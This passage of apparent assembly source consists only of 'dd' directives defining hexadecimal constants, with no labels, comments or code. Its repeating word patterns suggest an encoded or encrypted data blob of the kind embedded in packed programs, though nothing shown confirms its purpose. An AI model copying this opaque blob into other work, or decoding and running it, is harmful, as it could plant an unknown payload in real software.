22A42B8Ch, 9279B494h, 0A8968557h, 0EEC7CCE0h, 0DA36481Ah dd 91095436h, 240A5431h, 575953E8h, 0F1B13256h, 4E29D8D7h dd 349344Ch, 75B13244h, 0AFDF7D9Ch, 0B904A66Eh, 0F1A05B27h dd 623E3BFh, 0DE3A0FEDh, 0D4333D5Eh, 1FB13256h, 75BC9BBEh dd 0B2353D56h, 52B13256h, 0AEB130D5h, 2D05256h, 0ABB13CBFh dd 1B301856h, 9B0DD7CCh, 0C06C6CA7h, 454F80E5h, 47C891C4h dd 0A1585250h, 0DEB13256h, 79F53CDFh, 0F952D81Bh, 0ACBADA18h dd 9CD067CEh, 0BAB1325Eh, 0C71DBCF5h, 519638FDh, 563F3D0Bh dd 52B13256h, 0C67BB236h, 0E6C40937h, 8A2BB759h, 0B758CDA9h dd 84B13256h, 9FF36AE8h, 47543461h, 0EAB167A1h, 0D5BC03BEh dd 6BD75256h, 0C7AA41B5h, 53D05349h, 5DB13253h, 0B867F4E6h dd 9548FB7Eh, 0FE44325Eh, 0D5BDB559h, 66BE3256h, 75B13250h dd 0BAB1B459h, 0B13A3256h, 0A858CA36h, 8BB13256h, 23815646h dd 11325370h, 0E0393DAAh, 15B13256h, 73306D04h, 6A93D750h dd 2DBE6437h, 57B13242h, 0ABB13DBFh, 97B6C056h, 0FF45E900h dd 42DD4010h, 8DE7040Dh, 52E2C701h, 0AEB135DAh, 563E3D56h dd 5EB13256h, 0D5B132BEh, 306856h, 73ABAEE8h, 0BAB137BFh dd 0E6B40356h, 0CE44A797h, 57B2BA59h, 20D73256h, 0B46BB9A7h dd 0E5B947DDh, 75B134D2h, 0B5485256h, 0D6D0F0E1h, 0BF58222Bh dd 7BB13256h, 3A7B6517h, 0F6D89132h, 2888AF8h, 6AF5231Ah dd 0BABBDB01h, 0ABE33256h, 436A8723h, 0B4B0C9C0h, 0BB595200h dd 0D1B13256h, 2CF9CAE0h, 0DD44EA68h, 67B56AF6h, 0D6199CC5h dd 19BE6BAFh, 2C5953A6h, 5EB13257h, 51BEF25Dh, 0EAB132F2h dd 75B0B159h, 31483256h, 5DB8DBAEh, 4CBA3256h, 13F009E2h dd 0FE8B4499h, 0D5B6B759h, 6CBE3256h, 75B13257h, 1923CDAFh dd 0A8B7282Fh, 0A4393D0Bh, 0BEB13256h, 0ABB13253h, 536A4AF7h dd 0E6C409A1h, 75EFB659h, 0B5D13256h, 5DB134D6h, 555EB356h dd 5893553Ah, 0ABB133D4h, 0B3D0CE56h, 6ABE2CDDh, 75B13244h dd 6D51B336h, 0B4EEABD8h, 0AEB13253h, 0BC04B7D6h, 4C3153F2h dd 1A0752A6h, 8B7DD7D6h, 8CD12CDCh, 0DB48CA36h, 0BE31CB37h dd 0AF3E3DA6h, 0AEB13256h, 0AB95F0BEh, 3E3B5256h, 0CB5853AEh dd 804ECDA9h, 4F4D4FDFh, 0A24612BEh, 0A53D3DA9h, 37B13256h dd 0A461B930h, 0D5B132D9h, 6CBE5356h, 75B1325Ah, 0BAB135BFh dd 609B7F56h, 643B75FDh, 57BFDB0Dh, 55293256h, 0ACE674B6h dd 56D02580h, 149EA57Bh, 3BD75209h, 3C9D98B9h, 0AEA5DB08h dd 0C0CC3256h, 2C9F4BE9h, 159150AAh, 0B669ED4Ah, 0E7232A89h dd 3148AC82h, 0B5D1CE13h, 0AEB13244h, 0F0C152Eh, 50A0BF2Dh dd 5242634Ch, 6675BCBDh, 7958E402h, 0AAB13256h, 0B8EDAC1Fh dd 4D629A58h, 0E36DDF1h, 0CA67B930h, 1F063D36h, 0EAB2B659h dd 80313256h, 5378539Eh, 5DB13246h, 8BE736ADh, 3671600h dd 68F33076h, 0B2573C2Dh, 8AB13E94h, 0E8EEC6EFh, 0BAB6DB36h dd 0FA963256h, 96C230F5h, 0AFE45304h, 2848DEDDh, 8248CA92h dd 0EAB0BA59h, 23443256h, 0BAB138BFh, 23920B56h, 0CFF1EFDDh dd 37F77041h, 2A0BD4D6h, 70C0C89h, 0E5E0536Ah, 75B121D1h dd 0BABFDB56h, 1B763256h, 7EE8A6CAh, 5C503843h, 66E72EFFh dd 0D5A0DB05h, 7F7C3256h, 0CFCCEA60h, 0DEAEEC13h, 0A9E46137h dd 69CBCEE9h, 57B1CA13h, 27BE3256h, 0D5B13257h, 6876CBAEh dd 73AB49F4h, 0BAB13257h, 5DA0BE59h, 0A2583256h, 18B13256h dd 5EB13B53h, 0E780E5B6h, 617AC0C0h, 7AD13A23h, 0BAB131D2h dd 0AD0E3D56h, 25E48D30h, 493A5437h, 8E0BB9AFh, 29B7282Fh dd 0E5B96DDDh, 75B129D0h, 0AF363D56h, 0B4B13256h, 0AEB13246h dd 8E1F2033h, 6E75BF02h, 435286FCh, 0BD6F3F37h, 0F1BEE95Dh dd 0BAB13231h, 526F09AEh, 0AEB10ED3h, 0E1495256h, 0BF585300h dd 8CB13256h, 0FB94D10Fh, 0D6391115h, 0FEF3EF3Bh, 0CA567EC0h dd 257B0EDFh, 0DE443E0Bh, 0A4D13E09h, 0D5B138D1h, 0EAB4DB56h dd 36A53256h, 79F962h, 495B4E02h, 0BA76B137h, 57B6B959h dd 27BE3256h, 0D5B13257h, 15CBDBAAh, 13D1CDA9h, 0EED4FAD7h dd 953A5237h, 0C8D06A00h, 0D1BE2CDDh, 0ABB1324Ch, 0D5A5BD59h dd 0E5583256h, 5DB13256h, 968DD97Bh, 78FF81A7h, 0F98A8048h dd 0AC31AA42h, 0A1353DBEh dd 0DAB13255h, 0EAB135D0h, 74333D56h, 43B13256h, 5258C9D6h dd 0AEB3C6D2h, 0E8BE5256h, 0B964B29Eh, 3E4AB237h, 0E852B659h dd 0F5483256h, 3EBED0ADh, 5DB1309Dh, 4D4AB2AEh, 5511B659h dd 27BE3256h, 0D5B1325Ah, 0EAB7B959h, 0F1BE3256h, 0BAB13256h dd 3A4AB330h, 0A353DB5h, 37B13254h, 0FC4BB930h, 0B4EE6D04h dd 1641D5D6h, 7A4AB330h, 20353DD6h, 52B13254h, 0AEB133D1h dd 0D749CB56h, 26BEC2B5h, 0D5B1325Ch, 0E5D05236h, 75B132DEh dd 41315356h, 2B353D26h, 57B13254h, 57B123BFh, 0B1CFE256h dd 0E8CB9050h, 6EE8022Dh, 9A64EFE8h, 31D79193h, 5DBEDB48h dd 5E853256h, 0AC49BD23h, 0F678CC45h, 780DD363h, 1252B29Fh dd 75B134BFh, 56805B56h, 0DDD4AD98h, 2ABE8AADh, 57B13372h dd 0ABB137BFh, 0AF809D56h, 0D43141FCh, 64353D53h, 53B13257h dd 5DB13251h, 4257B7C5h, 0D7FFBC43h, 2FBE1F68h, 0D5B132AAh dd 828FB2AFh, 7543B659h, 53D13256h, 5DB13245h, 1DE3E256h dd 0C859E0B7h, 568F5789h, 0BBCC9614h, 8B5F5E8Dh, 0E13B0A9h dd 33BE344Ch, 5DB1325Eh, 0AEB3BB59h, 36D13256h, 0A4AFB930h dd 0D5B133D0h, 0D31C756h, 290F52AEh, 0B5961039h, 0A8D0C3E9h dd 2F4AB330h, 0F6353DBEh, 0CBB13256h, 0D5B5BC59h, 55D73256h dd 0F4D12824h, 0EEAF60B8h, 3CD0C77Ah, 0A1AFB930h, 57B13ADDh dd 0A93B3D56h, 0B5B13256h, 1A56B237h, 75B13ABFh, 431BFA56h dd 29BD1C0Ah, 55305453h, 0D3BEF2D7h, 0ABB13236h, 0D5B6B659h dd 61BE3256h, 75B13257h, 0EF4952A3h, 0FE23CDAEh, 0CEB7282Fh dd 0B8BAD0D7h, 0F6D043C7h, 0D5B4DB36h, 3DBC3256h, 0F5197D62h dd 0B5D0588Eh, 5DB13AD2h, 0AC323D56h, 37B13256h, 57F4BB37h dd 0D4323DAAh, 13B13256h, 832CB37h, 3FBE33AAh, 5DB133A7h dd 0AEB4B759h, 37D13256h, 57D0CA37h, 0D53C88DDh, 8CD13442h dd 0F59C95EDh, 0EAD0128Ch, 5DB121BFh, 0E913056h, 0BFA4AC76h dd 3CEC91EEh, 6348C6C9h, 0E4CD268Dh, 0D733B9AFh, 43B7282Dh dd 3D810E6Fh, 0F1D05206h, 6DC5C2D7h, 0F3D05F18h, 0D42EB059h dd 6EBE3256h, 75B13244h, 0BABDB259h, 5A583256h, 55B13256h dd 8B906CFBh, 113AFEF6h, 0D3A5399Bh, 0EAB0B759h, 25443256h dd 0BAB13CBFh, 4C68D756h, 6830979h, 0C64AB4D1h, 0CBD34B5Dh dd 5B37D2D7h, 8B493643h, 0E13B0DDh, 8349344Ch, 0DDBE026Ah dd 0AEB13257h, 0D8BE6AAFh, 0ABB13313h, 0D5B126BFh, 0BE76B556h dd 9A06EBF5h, 0C2D5EA01h, 1CF1CF52h, 0AAFA6D35h, 57FEDBF0h dd 0BA583256h, 69B13256h, 9CEC288h, 6CE32E5h, 7DC98F51h dd 1AE99BE9h, 3841B236h, 0ED58B330h, 0EE765321h, 0D5B130AEh dd 0C858CA56h, 9CB13256h, 0BAB13259h, 117142CDh, 0E05B543Fh dd 0C472268h, 6CC2FD31h, 0D5B0CA13h, 62BE3256h, 75B13257h dd 9F0BB9AAh, 0A1B7282Fh, 0A2582DDDh, 94B13256h, 0A3BC8168h dd 0B8BD87Ch, 0E1BB45B0h, 0C3353D8Dh, 53B13256h, 5DB1325Ch dd 0DD3CAF3Fh, 0F272E67Bh, 758A5135h, 0D5F7B759h, 6EBE3256h dd 75B13257h, 0B6ECB9AEh, 5DBDBC59h, 20BE3256h, 57B13250h dd 0ABB1B359h, 0A8323256h, 6EBE32AEh, 75B1324Dh, 0B9323D36h dd 3BB13256h, 25D7EADDh, 0AB253AEh, 0CDE152AEh, 0B3EEE3DDh dd 63D0F4DDh, 14D13609h, 0B5A5F5D5h, 5DB134D0h, 0CFD15256h dd 0BED05336h, 0ABB1325Ch, 68094FFh, 5D1649ECh, 1058F3ABh dd 0DA4ECDA9h, 11540BEDh, 6E82530Fh, 57B8DB36h, 0A60F3256h dd 0EAB6E7B3h, 6B5ADD8Dh, 0FB832C9Eh, 0EE58535Fh, 52B13252h dd 0AEB13ED3h, 51353D56h, 0A4B13256h, 0D5B132DBh, 0F43A5456h dd 75A1B059h, 0B1583256h, 0D4B13256h, 592CA93Bh, 819FF46Eh dd 0D63A5EB8h, 0D4353D5Ah, 16B13256h, 7A5AC9D6h, 0BAB17ED2h dd 0DCD1CB56h, 8239BB1h, 0AE3A5254h, 0ABB1B759h, 0B4D03256h dd 1F41D1D6h, 7AC1C9D6h, 0BAB144D2h, 5DBBDB56h, 64FA3256h dd 0D3E558DBh, 7D36CA9Dh, 0D5B039BFh, 0F8373D56h, 15B13256h dd 0BAB135BEh, 0A7F3B156h, 0DA5200DAh, 810E3D0Eh, 42B6F437h dd 0D4F6F5AAh, 0EAB13256h, 0A4305436h, 0AB596315h, 23B13256h dd 791ADFF8h, 0F0D4FC84h, 0A26C7827h, 0A588C29Eh, 8BEEF5DDh dd 7B58F5DDh, 0FBB13256h, 0F32E03ECh, 0D6F336Ah, 8E96663Dh dd 0AE71B175h, 0D630DBAEh, 8C483256h, 7DBE3591h, 0B5AFB8AAh dd 5DB135DDh, 0AF373D56h, 0A2B13256h, 5EBED1D6h, 3C31F9D6h dd 0EAB1325Fh, 5040D456h, 94F5A861h, 5CEEBA32h, 0E47CB236h dd 57B139BEh, 0C3E10D56h, 8865550Ch, 0EB3BBE84h, 14EA5336h dd 0B8F6F5AFh, 5DB13256h, 0AEB13DBFh, 4D56AB56h, 0A14FD073h dd 33783B4Ah, 0F3B333EEh, 0F6BEF5DDh, 0BAB1325Eh, 9F0BCB36h dd 0CFE430D2h, 0ABB7F2D5h, 0ABB234BFh, 0D5B4DB56h, 65023256h dd 15F8BC00h, 0BAB13DBFh, 47B96F56h, 5BD5C136h, 0ACC61FCAh dd 67585226h, 0D5B138BFh, 0FE81B256h, 7C779F65h, 0DB642915h dd 0CD8FB330h, 0E8353DC6h, 0AFB13256h, 0A4210CD6h, 0D5B148D3h dd 62BEC756h, 75B13251h, 1D7C736h, 3BD05965h, 3E4E4CD7h dd 75353DC6h, 0A4B13256h, 0D5B135DCh, 0EB363D56h, 89B13256h dd 0BAB17CBFh, 5DBADB56h, 0A2BD3256h, 0CE86B824h, 9722D96Ch dd 3C76B962h, 0EAB13258h, 2EC80004h, 653267F6h, 43453C2Fh dd 0A658F8A5h, 8B13256h, 0C6C981EDh, 3C69EC42h, 0EAB13009h dd 75B120BFh, 8F4FD556h, 647E1F92h, 19CE16D3h, 3E10993h dd 260F6BDCh, 0CFCD76D4h, 3E1CA50h, 75B1325Bh, 0F3AC9634h dd 0ED10BAB7h, 20A1D4E7h, 0DDBE6475h, 0ABB13257h, 1023CDAFh dd 0E5B7282Fh, 75B13FDCh, 0BAB9DB56h, 0C6F93256h, 1FD8E378h dd 97BA0C8Bh, 0ABEBB659h, 5CBE3256h, 0EAB13241h, 75B120BFh dd 21FBAD56h, 6917176h, 0A6F8A02Fh, 99B7CC90h, 0A4CD0447h dd 0D5B121D9h, 0EABFDB56h, 4AFC3256h, 51215217h, 0BAD082A7h dd 81CC25C4h, 5E58FADDh, 0F2B13256h, 909CB8C6h, 8D280861h dd 3103BFAFh, 4FB7282Ah, 5DB14ABFh, 960B5256h, 36ADBE28h dd 653AC700h, 0B47FB936h, 0EA3C3D36h, 27B13256h, 0BAB13BBEh dd 0F72AB656h, 81920A1Ch, 0EE9790Bh, 2CBE6737h, 0D5B1325Ah dd 0EAB7B559h, 0F2BE3256h, 0BAB13256h, 2412A0A9h, 0A1D1344Ch dd 0E8BEC2E1h, 0A658539Dh, 0C3B13256h, 59CB92ECh, 6AC432DFh dd 69044FE3h, 5C3A3D0Bh, 5BB13256h, 0A04DFC7Dh, 42EFCB8Fh dd 0D5B1325Fh, 219851DDh, 8D596779h, 42CCB1ECh, 0A343D57h dd 0CEB13256h, 37CD8536h, 6D3B5337h, 2DF88237h, 0EABFDBFCh dd 4D6D3256h, 41557523h, 0E056839h, 8AA6F168h, 0D2BE8A30h dd 571A54AEh, 0D4F78459h, 0EAB6DB36h, 33F43256h, 0E49708F4h dd 0AD3A5432h, 47489937h, 57B132BEh, 0ABB13FBFh, 76BEEF56h dd 89C530FCh, 4F17FF6h, 0C7322DDBh, 0D8BE30AEh, 0AEB132FBh dd 57B123BFh, 5BBDD856h, 16B78F4Bh, 3B44C149h, 5DCE5D50h dd 2D7A5CEh, 0D3BEFB5Dh, 0AEB1324Eh, 57B121BFh, 6455A956h dd 8715540h, 2FA2CAA1h, 87FD8119h, 748EE6AFh, 5DB13FBFh dd 208A5956h, 0C39C01C2h, 636333BEh, 7ED7D9C5h, 0EAB5BD59h dd 15D13256h, 2D75337h, 3B48B659h, 0AEB8DBFDh, 99B33256h dd 98C5E083h, 0DAD58BDBh, 3B074E0h, 75B13253h, 88F4D45Ah dd 49589914h, 80B13256h, 5516922Bh, 3D108419h, 7AFA5AF1h dd 560FE7D4h, 9C7D7736h, 0BAB13262h, 5DB122BFh, 604DA156h dd 397C4539h, 0F643FA7Dh dd 25D72D46h, 0E515C181h, 75B125DAh, 0BAA3DB56h, 0B5033256h dd 7889929h, 6B460354h, 44A7B5EEh, 9274692Ah, 0B149F5DDh dd 763D3D36h, 0DCB13256h, 0E4D7E3DDh, 0F7D01231h, 57B0BD59h dd 0F5493256h, 3DD16DAEh, 0EAB13258h, 0CAA9519h, 1A946284h dd 8D67FAE9h, 4C30D17Eh, 1F07C679h, 0CA268508h, 0D958529Fh dd 83B13256h, 0AE90A519h, 63D018EFh, 3BABA8C3h, 0A1D0F5DDh dd 57B133D1h, 0A373CA56h, 0D83B3D56h, 3B13256h, 75B1325Eh dd 6A5DA18Dh, 0EB772238h, 9DCC8836h, 3F0667C5h, 0AC586737h dd 0DCB13256h, 6A988491h, 7B58FA72h, 0C3B13256h, 93938946h dd 3EDD4E3h, 0A53A773Fh, 525DB9F8h, 0D5B0B959h, 8A483256h dd 0B4063D36h, 52D0CBDDh, 5DB13256h, 435BB30Ch, 37B728FEh dd 58088930h, 0B4FEDED6h, 0AF3ACEA3h, 7A3F3D5Eh, 0DAB13256h dd 5DB13ABFh, 28CDFE56h, 0BC76B04h, 2938530Bh, 0D3AB4B31h dd 0EAAEB759h, 0F5BE3256h, 0BAB1324Fh, 5DB126BFh, 99AB3B56h dd 2966457Fh, 3FAF9D81h, 0F774BED5h, 638A0E3Eh, 9CD153AEh dd 0BAB13250h, 53D504DFh, 703A8AAFh, 5A58FB37h, 51B13256h dd 1E4CE30Ch, 67313AE5h, 0F68ABCEEh, 0DAB13694h, 0D6D7EADDh dd 0A1E45385h, 57B138D1h, 1CBE5256h, 0A88088A5h, 61D01FC9h dd 0C2BE52BAh, 0AF0A528Eh, 3CFB74DFh, 5675B137h, 435852AAh dd 0AEB13256h, 0A5F5A62Fh, 0F9522DE5h, 0F204FB50h, 8B1C065Bh dd 0B5F1C6BEh, 0AEB13256h, 0E65BB30Ch, 53B728FFh, 0D595BE59h dd 3D13256h, 75B1325Fh, 8CA3587h, 98821E40h, 0AEBFDAF9h dd 0A59C3256h, 8F2D8466h, 0DF3587E2h, 2A1828Ch, 30765309h dd 0BAB132AEh, 5C3C3D56h, 52B13256h, 0ABF4F5AAh, 0ABB13256h dd 0D5B0BC59h, 0D9483256h, 64383D96h, 53B13256h, 5DB1325Ah dd 7EFFD6BAh, 3C8AC4E6h, 4AE75ABAh, 20AFB930h, 9113B091h dd 75B0344Ch, 0EAD13256h, 5DB1B359h, 2FEF3256h, 115F3489h dd 0BF58534Dh, 12B13256h, 914036BAh, 90090822h, 0E5262FC4h dd 1298CD49h, 0C8170A01h, 0C721C9D7h, 0ABBEB759h, 3CD13256h dd 0EAB1325Eh, 9D4A7DCBh, 1502B278h, 0B54AB237h, 0AA32B659h dd 5C583256h, 73B13256h, 0BF4882Bh, 0B9D05649h, 80F1C603h dd 0B558C9D6h, 5DB55AD2h, 0B63F3D56h, 58B13256h, 0ABB120DCh dd 0D5BCDB56h, 0A5ED3256h, 0D764AC36h, 0A82B2FB1h, 1D67316Bh dd 454AB2AEh, 538EB659h, 0EB4D3256h, 0D5B135BFh, 0CC248F56h dd 0FFE633B1h, 0DA41D5D6h, 72808836h, 0A0580825h, 33B13256h dd 1EA7DF0Dh, 58CF7F68h, 979EF180h, 0CCD15321h, 85C5F3F2h dd 0DDD15337h, 0A258CAA3h, 72B13256h, 0E936169Bh, 0B1D69880h dd 8BBA847Fh, 7A4AB330h, 50353DD6h, 0A1B13255h, 0A5CCB055h dd 58493442h, 0ABB133D6h, 3CF1CE56h, 0EAB1325Bh, 538FDED7h dd 0ABA82C4Ch, 328173B9h, 4C4AB22Fh, 543CB659h, 0A3583256h dd 0C9B13256h, 0FF280A96h, 0F541C25Fh, 3EBED1ADh, 5DB1311Eh dd 0AEB138BFh, 0E7B5FF56h, 0CB5B4A4Ch, 0B3C490B5h, 9D6C9D7h dd 76ECB659h, 39BE3256h, 5DB13245h, 0AEBADB36h, 0F0793256h dd 99250DACh, 8AA4CD2Dh, 0E5D0CA5Bh, 75B13AD9h, 0B83D3D56h dd 3DB13256h, 5E52B237h, 274AB2AFh, 0A8EAB659h, 50BE3256h dd 0EAB13257h, 6B3A54A3h, 4252B2AEh, 0E54AB2AFh, 0AF20B659h dd 58D13256h, 0ABB131D4h, 1A3A5456h, 0E250B330h, 4B31536Ch dd 0C2353D53h, 0B4B13257h, 0AEB13245h, 9D714C80h, 13ACFF42h dd 12E91BE8h, 9EFDEF89h, 0F59BA893h, 3EBE1F68h, 5DB13301h dd 0AEB13EBFh, 7309A156h, 0A310C296h, 0DB365278h, 828FB26Ch dd 748CB659h, 0A8583256h, 52B13256h, 26D46BD5h, 14B56493h dd 51C3AEF2h, 2C6A530Ah, 8AF1C715h, 75B135BFh, 88983A56h dd 9011D1E8h, 2C4ECE37h, 51AB49F4h, 0ABB13ABFh, 0C1E54856h dd 0C13E0C31h, 6B3A54CDh, 4256B2AEh, 5DA4B359h, 46D13256h dd 57B1325Fh, 0C1299700h, 5A399D67h, 54D76983h, 13D029E8h dd 5230C9D7h, 5D64B659h, 0C8493256h, 0DABE2CDDh, 0ABB13257h dd 2556B2AFh, 0EAB13ABFh, 83B74456h, 0C6B3D0D7h, 5DBFDBAAh dd 0F3E23256h, 0F88D6E11h, 10CBEA7Bh, 0F6B3415Ah, 6B4AB330h dd 0E9353D96h, 46B13256h, 5DB8DB36h, 0E0203256h, 471142EDh dd 42F220AEh, 0D5B13253h, 44B41086h, 0F2BE679Ch, 0BAB13257h dd 0FE23CDA3h, 0CEB7282Fh, 963A5436h, 0ABB121BEh, 6A1F9256h dd 0AA674AA0h, 0A4D49AB6h, 0C2881A00h, 0CC05A2D5h, 2BBE530Fh dd 57B13250h, 0ABB1B559h, 88D03256h, 16F4BBAEh, 0FBBE53A3h dd 0BAB1324Fh, 5DB126BFh, 8D460C56h, 7D168A0Ah, 7209FC19h dd 0B28B5FB8h, 0C19733A2h, 75B4DB16h, 11A33256h, 0DEBA5294h dd 0A1B0CE2Bh, 57B737D3h, 0A3353D56h, 0B5B13256h, 0EAB1BD59h dd 0FED03256h, 0AEB1BFECh, 0AD305250h, 0EC54D46Bh, 7D06B06h dd 5A063D36h, 0D5B2B559h, 5DBE3256h, 0F73A538Fh, 0BCAB49F4h dd 5DB138BFh, 139EB156h, 0C7615CC6h, 922C90EDh, 0D358026Ah dd 0D2B13256h, 6613526h, 0BABEDB50h, 90CE3256h, 2A90C430h dd 17F7B110h, 0AA8F13A6h, 57BE6A1Eh, 0EAB137CCh, 0B80BB9AFh dd 42B7265Dh, 5DB120BFh, 463C8256h, 82E6F016h, 4CFA9267h dd 4E3516BAh, 0BA8978FCh, 75B134BFh, 4991D956h, 0D6EEFEF2h dd 0B4CA90D4h, 6B88CE50h, 0A4E9CA66h, 0D5B46FD9h, 6149C756h dd 6FC866ECh, 0B33D3D50h, 3DB13256h, 8D72B330h, 36D052BCh dd 0D2E5B0D5h, 0B5A5344Ch, 61678D59h, 61585390h, 59B13256h dd 6C12E55h, 5C57817Fh, 6E745FADh, 0F965C4E5h, 5C878699h dd 0AD38C761h, 15E1CE46h, 383A53A3h, 5BAB49F4h, 0AEB138BFh dd 50A58656h, 6B001052h, 5E2C8591h, 59D1024Ah, 6940B2E1h dd 34BE6A37h, 5DB13242h, 0AEB13DBFh, 0A39CA156h, 7AB33BA1h dd 0AB7CB5A3h, 0DAA175Bh, 15B96DDFh, 0BAA1BF59h, 57593256h dd 0FDB13256h, 272EC13Fh, 5CAED5D2h, 54D7699Ch, 8B9C4E9Fh dd 75B587BFh, 0B3343D56h, 3DB13256h, 0AEB1B859h, 364D3256h dd 0A9497791h, 2CB13256h, 0EAE2DBAAh, 0CAD13256h, 0D8626F99h dd 3C79DFD6h, 0A2586236h, 0CCB13256h, 0A286C839h, 1EDA0A14h dd 0B53C7B47h, 0B2D0FCDCh, 0BAB0CA13h, 0E3D13256h, 0E70383FCh dd 57B13CBEh, 2754356h, 0DD84D8B1h, 0B2BC31B4h, 0FEC8B07Dh dd 0B5D06DAFh, 5DB13AD9h, 0AC3A3D56h, 37B13256h, 0FF0BB937h dd 3CB7282Fh, 0EAB13250h, 0A725AD21h, 3832CE2Bh, 5BAB4B02h dd 0AEBCDB42h, 0DDD83256h, 0CB05230Ah, 1C48839Bh, 0E5F67E20h dd 75B13ADBh, 0B8353D56h, 3DB13256h, 5B86BB37h, 0BEA175DFh dd 0ABB1325Ch, 0B440D81Dh, 0BE074A00h, 8D324C16h, 0D3343D55h dd 0B4B13256h, 0AEB1325Bh, 98854D0h, 1C04CBC3h, 0F018B02Dh dd 4833F529h, 77B7282Dh, 53B13256h, 5DB13246h, 9D509081h dd 0F2D2D53Eh, 0A212F695h, 61014C10h, 0E3BA8D36h, 7B59185Fh dd 23B13256h, 3F6CFF02h, 0C5BFD421h, 0DC30E87h, 42D06B8Fh dd 0D5B13274h, 0BC43B236h, 75BCB659h, 0BD593256h, 0C8B13256h dd 0D74251A3h, 36E8796Ch, 0A4B3CAD5h, 0D5B352DBh, 9732C756h dd 0F1BE32AEh, 0BAB132DBh, 1B073DAAh, 0AEBFDB57h, 0B2EF3256h dd 4137F66Eh, 2C5D3838h, 96D065A8h, 75B1B2FFh, 0E0343D56h dd 52B13256h, 0AEB133D2h, 0BEF1C756h, 0ABB13244h, 0EF99B32Ah dd 422F4F42h, 1E8F2D5h, 0ED83CA66h, 0B53280D3h, 9258CE53h dd 58B13256h, 0ABB12CD6h dd 54D75256h, 29B2387h, 75B13247h, 0F65CBB20h, 0B218CE32h dd 0FC82B11Fh, 1727E292h, 0A4D06AF6h, 0D5B13AD4h, 0B3E65256h dd 0A2858A30h, 0BA4E1F37h, 0DE443256h, 474437BEh, 57B13270h dd 204961AAh, 0CFCA90CCh, 0EAB4DB50h, 6B913256h, 31BEB511h dd 54580152h, 0B6B13256h, 0DCAC6CE7h, 0EC49397Ch, 0D518CB0Dh dd 0E5313256h, 75B19FD3h, 0BD333D56h, 3DB13256h, 0C479B330h dd 5F585320h, 0D8B13256h, 7747AB9Dh, 0E9DD4C9Ch, 0AA315290h dd 150B5482h, 9D32535Dh, 0BB3C3D53h, 0BEB13256h, 0ABB13246h dd 5489AAE5h, 0AB83389Ah, 67C427CBh, 0CB3065C8h, 2613B055h dd 0A1D1344Ch, 5B58F2E1h, 1CB13256h, 3CEA027Bh, 0CFA26A33h dd 14A86D97h, 0BABFDB1Eh, 49873256h, 0B5D73ABFh, 728E6378h dd 13720B63h, 0DAB975DFh, 0EAB134D0h, 0F5445256h, 33D02881h dd 0DFBE3E11h, 0AEB13240h, 57B123BFh, 72458D56h, 4A4A8674h dd 0CFDF2DDEh, 0B346D9A8h, 0B55840A5h, 52B13254h, 0AEB133D5h dd 8F46CB56h, 0ABBCB959h, 0DD583256h, 6CB13256h, 73F26CE9h dd 9171E52Fh, 463E3D90h, 0CEB13256h, 57B123BEh, 8B86C956h dd 13FEA099h, 7EEC7C4Dh, 625551CEh, 30EE4719h, 4D58539Ch dd 36B13256h, 90A92886h, 5980A549h, 7589B3BAh, 1D3CAC1Eh dd 0FBBECB8Eh, 0BAB13243h, 5DB122BFh, 0B77B5D56h, 0DF054BB3h dd 0FB33D24Ch, 271482A3h, 0EF71B16Eh, 75B0B659h, 53493256h dd 5DB13247h, 9084AA70h, 47A59D9Bh, 0CABE599Ah, 95FF6652h dd 483331FEh, 15B7282Dh, 0BAB3B159h, 3CD13256h, 0E6D049E1h dd 57A3BB59h, 0A6583256h, 0AFB13256h, 0DE9A18FDh, 0BDC39825h dd 4784B365h, 52B975DFh, 0AEB133DBh, 1038CB56h, 15D1525Ah dd 0DBF40E41h, 0EAB134BEh, 0D2337356h, 0E17F5A42h, 76585337h dd 0CEB13257h, 57B137BFh, 0BDEDF356h, 2D3A5070h, 8A710137h dd 260A54AEh, 0FC3B5395h, 5658CB57h, 25B13256h, 4F3B3F83h dd 0ED4D7901h, 5519509Dh, 0EA32B759h, 0F6BE3256h, 0BAB1325Ah dd 5DB7BD59h, 20BE3256h, 57B13256h, 0FDD1F455h, 0D5B1BE59h dd 58E83256h, 0B5325308h, 0BB3D3D54h, 0A8B13256h, 0AEB133EDh dd 5F373D56h, 0A4B13256h, 0D5B130DFh, 0E1D05256h, 6C353D8Dh dd 46B13256h, 0F30CA8DCh, 2E49344Fh, 0DDD133B5h, 2ABE52A8h dd 0D5B13256h, 8BD06C01h, 8CD1F155h, 0BA393D36h, 3CB13256h dd 0A6F6BB37h, 5BF6BBAFh, 0AB31DBA3h, 53BE3256h, 0EAB13253h dd 8CD05236h, 4F69C537h, 5DB1CD73h, 0AF3B3D56h, 0AFB13256h dd 0A4D1F47Dh, 2430EBE9h, 0E5FE5D59h, 1569C537h, 0DB71DCD6h dd 0B4B3F2D5h, 0AEB13244h, 3F4216EFh, 0AF9AE8F1h, 200918D0h dd 9869C7DEh, 32385348h, 3BBE525Eh, 5DB13240h, 0AEB123BFh dd 11A21156h, 0CAD14A86h, 0D9688461h, 0ADE299DFh, 0F4D783F4h dd 0DBDB4A8Ch, 0B4BD75DFh, 0AEB1325Ch, 1C9F07DEh, 39124593h dd 3C49FFADh, 0EAB13250h, 0F93B0B7Ch, 53D0DB74h, 5DB1325Fh dd 847E7A21h, 218E3EF1h, 0F8D1FB7Ch, 16485309h, 0EAB122BFh dd 5FE4F356h, 0CA65EE43h, 0AAAA27F5h, 0CB8D4020h, 5A58672Bh dd 68B13256h, 0E0882D1Fh, 0A68CD7F3h, 0C7FF2402h, 0AE58DEDDh dd 21B13256h, 97C9AD3Dh, 0F479B07Eh, 0A71A767Bh, 0E0F9EF95h dd 696723B8h, 7B58CE92h, 47B13256h, 6E158A45h, 0A566086Bh dd 0C4924E41h, 29BE52C2h, 0D5B1325Ah, 0EAB7BB59h, 0F6BE3256h dd 0BAB13256h, 5DB132BEh, 44306856h, 51AB8198h, 113ACAAAh dd 0D3AB4B73h, 220B5236h, 8D838A34h, 0BAA5DA37h, 0A7803256h dd 82C495CFh, 0D9ED6B4Eh, 9B6BB8E1h, 6B758238h, 6BD7194Bh dd 2FE25BB0h, 46780137h, 52B10DD5h, 0AEB598D2h, 5D303D56h dd 42B13256h, 0D5B13253h, 731C7E12h, 7AB6B9A6h, 0BAB12CD6h dd 45383D56h, 47B13256h, 57B13245h, 96E08E93h, 0DFCCDAD6h dd 4FAC5A8Fh, 8D10724Bh, 45CD5D5Bh, 0D4BE3E23h, 0AEB13257h dd 224ECAAFh, 0A358CA5Eh, 4B13256h, 23C592E2h, 2518766Dh dd 3BD75236h, 0B5C98A87h, 0AEB1325Ch, 0DDCFF2E4h, 96E1A8FDh dd 0B4EEF31Fh, 8B6A8D59h, 75B853BEh, 